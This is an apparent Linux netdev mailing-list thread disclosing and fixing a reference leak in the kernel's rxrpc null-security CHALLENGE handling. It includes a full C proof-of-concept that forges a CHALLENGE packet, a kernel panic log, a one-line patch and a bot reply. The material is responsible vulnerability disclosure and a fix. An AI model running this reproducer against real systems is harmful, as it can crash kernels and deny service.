* [PATCH net 0/1] rxrpc: fix null-security challenge leak
@ 2026-10-22 18:47 Zhiling Zou
2026-10-22 18:47 ` [PATCH net 1/1] " Zhiling Zou
2026-10-22 18:53 ` [PATCH net 0/1] " netdev-bot+sinfo
0 siblings, 2 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-10-22 18:47 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega,
zhilinz
Hi Linux kernel maintainers,
We found and validated a reference leak in net/rxrpc/insecure.c. A
CHALLENGE packet received by a null-security RxRPC client connection
causes the connection to be aborted, but the packet is still queued
for connection processing. A userspace RxRPC client can exercise this
path without elevated privileges.
We will provide details of the bug below, along with a PoC and the
QEMU crash log.
---- details below ----
Bug details:
none_validate_challenge() aborts a null-security connection after
receiving a CHALLENGE, but returns true. rxrpc_input_conn_packet()
interprets true as permission to continue and calls
rxrpc_post_challenge(). That function takes a reference to the
connection and queues the CHALLENGE for its worker.
The connection is already aborted when rxrpc_process_event() handles
the queued packet. It returns early with -ECONNABORTED, before clearing
sp->chall.conn and dropping the rxrpc_conn_get_challenge_input
reference. The leaked connection retains references to its peer and
local endpoint. Repeating this for distinct connections leaks additional
references; tearing down the affected network namespace then triggers
the rxrpc_destroy_all_connections() BUG_ON.
Return false after aborting the connection so the input path rejects
the CHALLENGE instead of queueing it and taking the extra reference.
Reproducer:
make
./poc --newnet-before
Run the namespace-teardown reproducer as root in a disposable QEMU
guest. The reference leak itself is also observable as an unprivileged
user by running ./poc and checking /proc/net/rxrpc/conns.
The crash was reproduced on Linux 7.1.0-rc1 with AF_RXRPC, RXKAD,
KEYS, USER_NS, NET_NS, and KASAN enabled.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/keyctl.h>
#include <linux/rxrpc.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/poll.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <unistd.h>
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_LAST_PACKET 0x04
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
typedef int32_t key_serial_t;
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t reserved;
uint16_t serviceId;
} __attribute__((packed));
struct shared_state {
int rxrpc_fd;
struct sockaddr_rxrpc srx;
volatile int ready;
volatile int send_started;
volatile int send_done;
int send_ret;
int send_errno;
};
static void die(const char *what)
{
perror(what);
exit(1);
}
static long xadd_key(const char *type, const char *desc,
const void *payload, size_t plen, key_serial_t ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static void install_null_key(void)
{
key_serial_t keyring;
key_serial_t key;
keyring = xadd_key("keyring", "rxrpc_test", NULL, 0, KEY_SPEC_PROCESS_KEYRING);
if (keyring < 0)
die("add_key(keyring)");
key = xadd_key("rxrpc", "poc-null", NULL, 0, keyring);
if (key < 0)
die("add_key(rxrpc null)");
}
static void bring_loopback_up(void)
{
int fd;
struct ifreq ifr;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket(ifreq)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "lo");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("ioctl(SIOCGIFFLAGS)");
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("ioctl(SIOCSIFFLAGS)");
close(fd);
}
static int setup_server_udp(uint16_t *port_out)
{
int fd;
struct sockaddr_in addr;
socklen_t len = sizeof(addr);
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket(server udp)");
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_port = htons(0);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(server udp)");
if (getsockname(fd, (struct sockaddr *)&addr, &len) < 0)
die("getsockname(server udp)");
*port_out = ntohs(addr.sin_port);
return fd;
}
static int setup_rxrpc_client(uint16_t server_port, struct sockaddr_rxrpc *srx)
{
int fd;
unsigned int min_sec = RXRPC_SECURITY_PLAIN;
char key_desc[] = "poc-null";
fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0)
die("socket(AF_RXRPC)");
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, key_desc, strlen(key_desc)) < 0)
die("setsockopt(RXRPC_SECURITY_KEY)");
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_sec, sizeof(min_sec)) < 0)
die("setsockopt(RXRPC_MIN_SECURITY_LEVEL)");
memset(srx, 0, sizeof(*srx));
srx->srx_family = AF_RXRPC;
srx->srx_service = 1;
srx->transport_type = SOCK_DGRAM;
srx->transport_len = sizeof(struct sockaddr_in);
srx->transport.sin.sin_family = AF_INET;
srx->transport.sin.sin_port = htons(server_port);
srx->transport.sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
return fd;
}
static void *sender_thread(void *arg_)
{
struct shared_state *st = arg_;
char byte = 'A';
char cbuf[CMSG_SPACE(sizeof(uint64_t))];
struct cmsghdr *cmsg;
struct iovec iov = {
.iov_base = &byte,
.iov_len = sizeof(byte),
};
struct msghdr msg = {
.msg_name = &st->srx,
.msg_namelen = sizeof(st->srx),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
uint64_t call_id = 0x4141414141414141ULL;
memset(cbuf, 0, sizeof(cbuf));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_RXRPC;
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
cmsg->cmsg_len = CMSG_LEN(sizeof(call_id));
memcpy(CMSG_DATA(cmsg), &call_id, sizeof(call_id));
while (!st->ready)
usleep(1000);
st->send_started = 1;
st->send_ret = sendmsg(st->rxrpc_fd, &msg, 0);
st->send_errno = errno;
st->send_done = 1;
return NULL;
}
static void recv_data_packet(int server_fd, struct rxrpc_wire_header *hdr,
struct sockaddr_in *src, char *payload, size_t payload_len)
{
char buf[512];
socklen_t slen = sizeof(*src);
ssize_t n;
size_t copy_len;
n = recvfrom(server_fd, buf, sizeof(buf), 0, (struct sockaddr *)src, &slen);
if (n < (ssize_t)sizeof(*hdr)) {
fprintf(stderr, "short recv %zd\n", n);
exit(1);
}
memcpy(hdr, buf, sizeof(*hdr));
hdr->epoch = ntohl(hdr->epoch);
hdr->cid = ntohl(hdr->cid);
hdr->callNumber = ntohl(hdr->callNumber);
hdr->seq = ntohl(hdr->seq);
hdr->serial = ntohl(hdr->serial);
hdr->serviceId = ntohs(hdr->serviceId);
copy_len = (size_t)n - sizeof(*hdr);
if (copy_len > payload_len - 1)
copy_len = payload_len - 1;
memcpy(payload, buf + sizeof(*hdr), copy_len);
payload[copy_len] = '\0';
}
static void send_forged_challenge(int server_fd,
const struct rxrpc_wire_header *observed,
const struct sockaddr_in *dst)
{
struct rxrpc_wire_header chall;
memset(&chall, 0, sizeof(chall));
chall.epoch = htonl(observed->epoch);
chall.cid = htonl(observed->cid & ~3U);
chall.callNumber = htonl(0);
chall.seq = 0;
chall.serial = htonl(observed->serial + 1);
chall.type = RXRPC_PACKET_TYPE_CHALLENGE;
chall.flags = 0;
chall.userStatus = 0;
chall.securityIndex = RXRPC_SECURITY_NONE;
chall.reserved = 0;
chall.serviceId = htons(observed->serviceId);
if (sendto(server_fd, &chall, sizeof(chall), 0,
(const struct sockaddr *)dst, sizeof(*dst)) != (ssize_t)sizeof(chall))
die("sendto(challenge)");
}
int main(int argc, char **argv)
{
int server_fd, rxrpc_fd;
uint16_t server_port;
struct shared_state st;
struct rxrpc_wire_header observed;
struct sockaddr_in client_addr;
char payload[128];
pthread_t thr;
struct pollfd pfd;
int poll_ret;
int newnet_before = 0;
if (argc > 1 && strcmp(argv[1], "--newnet-before") == 0)
newnet_before = 1;
if (newnet_before) {
if (unshare(CLONE_NEWNET) < 0)
die("unshare(CLONE_NEWNET)");
bring_loopback_up();
printf("created dedicated net namespace and brought up lo\n");
fflush(stdout);
}
install_null_key();
server_fd = setup_server_udp(&server_port);
memset(&st, 0, sizeof(st));
rxrpc_fd = setup_rxrpc_client(server_port, &st.srx);
st.rxrpc_fd = rxrpc_fd;
if (pthread_create(&thr, NULL, sender_thread, &st) != 0) {
errno = EINVAL;
die("pthread_create");
}
st.ready = 1;
recv_data_packet(server_fd, &observed, &client_addr, payload, sizeof(payload));
printf("rxrpc packet: type=%u flags=0x%x epoch=%08x cid=%08x call=%u serial=%u service=%u payload=\"%s\"\n",
observed.type, observed.flags, observed.epoch, observed.cid,
observed.callNumber, observed.serial, observed.serviceId, payload);
fflush(stdout);
if (observed.type != RXRPC_PACKET_TYPE_DATA ||
!(observed.flags & RXRPC_CLIENT_INITIATED) ||
observed.callNumber == 0) {
fprintf(stderr, "did not capture the expected client DATA packet\n");
return 2;
}
send_forged_challenge(server_fd, &observed, &client_addr);
usleep(200000);
close(rxrpc_fd);
close(server_fd);
pfd.fd = -1;
pfd.events = 0;
poll_ret = poll(&pfd, 0, 500);
(void)poll_ret;
pthread_join(thr, NULL);
printf("sendmsg ret=%d errno=%d started=%d done=%d\n",
st.send_ret, st.send_errno, st.send_started, st.send_done);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 1457.338612][T10327] kernel BUG at net/rxrpc/conn_object.c:488!
[ 1457.339724][T10327] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 1457.340600][T10327] CPU: 0 UID: 0 PID: 10327 Comm: kworker/u16:1 Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 1457.341809][T10327] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1457.343167][T10327] Workqueue: netns cleanup_net
[ 1457.343852][T10327] RIP: 0010:rxrpc_destroy_all_connections+0x35a/0x3f0
[ 1457.344743][T10327] Code: 7c 04 84 c0 75 40 8b 43 64 85 c0 75 ca 4c 89 fe 4c 89 ef e8 08 40 bd f7 e9 1f ff ff ff 48 c7 c7 a0 be f1 8b e8 c7 40 c3 f7 90 <0f> 0b 48 89 df e8 fc be 4a f8 e9 2e fe ff ff 48 89 df e8 1f bf 4a
[ 1457.347221][T10327] RSP: 0018:ffa000001338f980 EFLAGS: 00010246
[ 1457.348029][T10327] RAX: 0000000000000017 RBX: ff1100007ea18000 RCX: 0000000000000000
[ 1457.349044][T10327] RDX: 0000000000000000 RSI: ffffffff8b0f35c0 RDI: 0000000000000001
[ 1457.350068][T10327] RBP: ff1100007ea18064 R08: 0000000000000001 R09: fff3fc0002671eed
[ 1457.351135][T10327] R10: ffa000001338f76f R11: ffa000001338f708 R12: 1ff4000002671f32
[ 1457.352175][T10327] R13: ff1100007ea18078 R14: ff1100007ea18088 R15: ff1100007ea17e70
[ 1457.353203][T10327] FS: 0000000000000000(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 1457.354336][T10327] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1457.355184][T10327] CR2: 0000560a4d9c42e8 CR3: 00000000717b2000 CR4: 0000000000751ef0
[ 1457.356203][T10327] PKRU: 55555554
[ 1457.356681][T10327] Call Trace:
[ 1457.357121][T10327] <TASK>
[ 1457.357520][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.358273][T10327] ? __pfx_rxrpc_destroy_all_connections+0x10/0x10
[ 1457.359108][T10327] ? __try_to_del_timer_sync+0xe2/0x140
[ 1457.359846][T10327] ? __pfx_var_wake_function+0x10/0x10
[ 1457.360567][T10327] rxrpc_exit_net+0x75/0xc0
[ 1457.361146][T10327] ops_undo_list+0x289/0x920
[ 1457.361772][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.362510][T10327] ? __pfx_ops_undo_list+0x10/0x10
[ 1457.363184][T10327] cleanup_net+0x40f/0x8f0
[ 1457.363775][T10327] ? __pfx_cleanup_net+0x10/0x10
[ 1457.364420][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.365157][T10327] ? rcu_is_watching+0x12/0xc0
[ 1457.365788][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.366533][T10327] process_one_work+0x8dc/0x1be0
[ 1457.367198][T10327] ? __pfx_process_one_work+0x10/0x10
[ 1457.367893][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.368708][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.369436][T10327] worker_thread+0x52d/0xec0
[ 1457.370043][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.370780][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.371511][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.372224][T10327] ? __kthread_parkme+0xb4/0x200
[ 1457.372884][T10327] ? __pfx_worker_thread+0x10/0x10
[ 1457.373548][T10327] kthread+0x312/0x410
[ 1457.374072][T10327] ? _raw_spin_unlock_irq+0x28/0x50
[ 1457.374763][T10327] ? __pfx_kthread+0x10/0x10
[ 1457.375356][T10327] ret_from_fork+0x600/0xa20
[ 1457.376058][T10327] ? __pfx_ret_from_fork+0x10/0x10
[ 1457.376737][T10327] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1457.377454][T10327] ? __switch_to+0x57f/0xe20
[ 1457.378062][T10327] ? __pfx_kthread+0x10/0x10
[ 1457.378662][T10327] ret_from_fork_asm+0x1a/0x30
[ 1457.379305][T10327] </TASK>
[ 1457.379716][T10327] Modules linked in:
[ 1457.381610][T10327] ---[ end trace 0000000000000000 ]---
[ 1457.383195][T10327] RIP: 0010:rxrpc_destroy_all_connections+0x35a/0x3f0
[ 1457.384245][T10327] Code: 7c 04 84 c0 75 40 8b 43 64 85 c0 75 ca 4c 89 fe 4c 89 ef e8 08 40 bd f7 e9 1f ff ff ff 48 c7 c7 a0 be f1 8b e8 c7 40 c3 f7 90 <0f> 0b 48 89 df e8 fc be 4a f8 e9 2e fe ff ff 48 89 df e8 1f bf 4a
[ 1457.387606][T10327] RSP: 0018:ffa000001338f980 EFLAGS: 00010246
[ 1457.388571][T10327] RAX: 0000000000000017 RBX: ff1100007ea18000 RCX: 0000000000000000
[ 1457.389648][T10327] RDX: 0000000000000000 RSI: ffffffff8b0f35c0 RDI: 0000000000000001
[ 1457.390713][T10327] RBP: ff1100007ea18064 R08: 0000000000000001 R09: fff3fc0002671eed
[ 1457.391795][T10327] R10: ffa000001338f76f R11: ffa000001338f708 R12: 1ff4000002671f32
[ 1457.392985][T10327] R13: ff1100007ea18078 R14: ff1100007ea18088 R15: ff1100007ea17e70
[ 1457.394253][T10327] FS: 0000000000000000(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 1457.395754][T10327] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1457.396734][T10327] CR2: 0000560a4d9c42e8 CR3: 00000000717b2000 CR4: 0000000000751ef0
[ 1457.398468][T10327] PKRU: 55555554
[ 1457.399034][T10327] Kernel panic - not syncing: Fatal exception
[ 1457.400254][T10327] Kernel Offset: disabled
[ 1457.400839][T10327] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
rxrpc: fix null-security challenge leak
net/rxrpc/insecure.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--
2.55.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH net 1/1] rxrpc: fix null-security challenge leak
2026-10-22 18:47 [PATCH net 0/1] rxrpc: fix null-security challenge leak Zhiling Zou
@ 2026-10-22 18:47 ` Zhiling Zou
2026-10-22 18:53 ` [PATCH net 0/1] " netdev-bot+sinfo
1 sibling, 0 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-10-22 18:47 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega,
zhilinz
none_validate_challenge() aborts a null-security connection but returns
true. rxrpc_input_conn_packet() then queues the CHALLENGE and takes an
extra connection reference. When the connection worker handles the
packet, rxrpc_process_event() sees the aborted state and returns before
releasing that reference.
Return false after aborting the connection so the CHALLENGE is not
queued and the extra reference is not taken.
Fixes: 5800b1cf3fd8 ("rxrpc: Allow CHALLENGEs to the passed to the app for a RESPONSE")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/rxrpc/insecure.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/rxrpc/insecure.c b/net/rxrpc/insecure.c
index 0b39046bdc616..48e5db748ade2 100644
--- a/net/rxrpc/insecure.c
+++ b/net/rxrpc/insecure.c
@@ -44,7 +44,7 @@ static bool none_validate_challenge(struct rxrpc_connection *conn,
{
rxrpc_abort_conn(conn, skb, RX_PROTOCOL_ERROR, -EPROTO,
rxrpc_eproto_rxnull_challenge);
- return true;
+ return false;
}
static int none_sendmsg_respond_to_challenge(struct sk_buff *challenge,
--
2.55.0
^ permalink raw reply related [flat|nested] 3+ messages in thread* Re: [PATCH net 0/1] rxrpc: fix null-security challenge leak
2026-10-22 18:47 [PATCH net 0/1] rxrpc: fix null-security challenge leak Zhiling Zou
2026-10-22 18:47 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-10-22 18:53 ` netdev-bot+sinfo
1 sibling, 0 replies; 3+ messages in thread
From: netdev-bot+sinfo @ 2026-10-22 18:53 UTC (permalink / raw)
To: Zhiling Zou
Cc: linux-afs, netdev, dhowells, marc.dionne, davem, edumazet, pabeni,
horms, vega
Hi!
This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:
- How the issue was discovered, e.g. hit in production, hit during
development, syzbot report, manual code inspection, LLM or static
analysis tool scan.
Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.
The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-10-22 18:53 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-22 18:47 [PATCH net 0/1] rxrpc: fix null-security challenge leak Zhiling Zou
2026-10-22 18:47 ` [PATCH net 1/1] " Zhiling Zou
2026-10-22 18:53 ` [PATCH net 0/1] " netdev-bot+sinfo
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox